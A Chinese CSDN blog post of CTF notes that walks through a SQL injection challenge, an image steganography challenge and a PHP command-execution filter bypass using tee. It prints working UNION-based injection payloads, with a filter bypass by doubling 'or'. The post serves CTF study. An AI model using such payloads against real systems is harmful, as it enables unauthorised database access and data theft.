今日笔记(云曦开学考复现(斗宗强者恐怖如斯(web)、师姐的旅游照片、Rceeee及相关知识点 )

本文详细描述了一次针对Web应用的攻击过程,包括SQL注入漏洞利用、RCE(远程命令执行)的尝试与绕过strcheck函数过滤,以及通过隐写技术获取flag的过程。涉及的关键技术和函数包括shell_exec,strcheck以及基础的RCE知识。
摘要由CSDN通过智能技术生成

1.由提示可得,用户名为admin,使用爆破,得到密码为admin1232.在1后面加上'检查是否存在sql注入漏洞,发现页面报错,存在漏洞3.输入?id=-1') union select 1,2,3--+,判断显错位,发现显错位是34.输入?id=-1') union select 1,2,database()--+,爆库名5.输入?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xitif_sql'--+爆表名

6.发现报错,观察发现过滤了or,采用双写or进行绕过

7.输入?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+来爆列名

8.输入?id=-1') union select 1,2,group_concat(flAg) from flag--+来爆数据,得到flag

师姐的旅游照片

1.发现本题文件没有后缀,猜测为隐写题,将下载下来的png改名为1.png,打开,并放入010editer中,发现末尾有一串base64编码2.解码之后得到一半的flag3.将后缀改为zip打开发现另外一张图4.发现图片不完整,将它放入010editer中,改图片的高度,010editer中都是16进制,所以需要将图片中的高度改为16进制,查找到高度的16进制之后,进行修改,保存之后,得到另外一半的flagRceeee

1.打开网页,发现php代码,查找相关函数,可解读为:

先使用get传参,然后strcheck函数检查,最后执行这个参数作为shell命令

strcheck 函数使用 preg_match 来检查参数$cmd中是否含有以下过滤的内容:

&

制表符(\×09)

ASCLL码(\×26)

tac cat more less head sort tail sed cut awk string sod php ping flag

若有这几项过滤的内容则停止脚本的运行,并输出“你的想法很有趣.....”

所以我们最后需要绕过这些过滤的内容

2.使用tee命令,将php代码复制存储在文件里

linux tee命令

tee 命令

用途----显示程序的输出并将其复制到一个文件中。

语法-----tee [ -a ] [ -i ] [ File ... ]

描述-----tee 命令读取标准输入,然后将程序的输出写到标准输出,并同时将其复制到指定的一个或多个文件。

标志

-a 将输出添加到 File 的末尾而不是覆盖写入。

-i 忽略中断。

退出状态

命令返回以下退出值:

0 标准输入被成功地复制到所有输出文件中。

>0 发生错误。

注:如果向任意成功打开的File操作数的写入不成功,写入其它成功打开的File操作数,并且标准输出会继续,但是退出值将会是>0。

3.访问这个文件,发现flag4.根据代码内容,绕过 cat flag ,然后再将它复制到文件里5.打开这个文件,得到flag

sql注入的知识点:

sql注入详解-CSDN博客

shell_exec()函数:

PHP shell_exec() vs exec()用法及代码示例 - 纯净天空

strcheck 函数:strcheck 函数接受一个正则表达式模式和一个字符串作为参数,使用 preg_match 来检查字符串是否与模式匹配。如果匹配成功,preg_match 返回 1,否则返回 0。函数根据这个结果返回 truefalse

RCE:

CTF中WEB题——RCE-CSDN博客

RCE绕过:

RCE(远程命令执行)绕过总结_rce绕过-CSDN博客

网安入门21——RCE(绕过方法梳理)_rec命令过滤-CSDN博客

  • 11
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值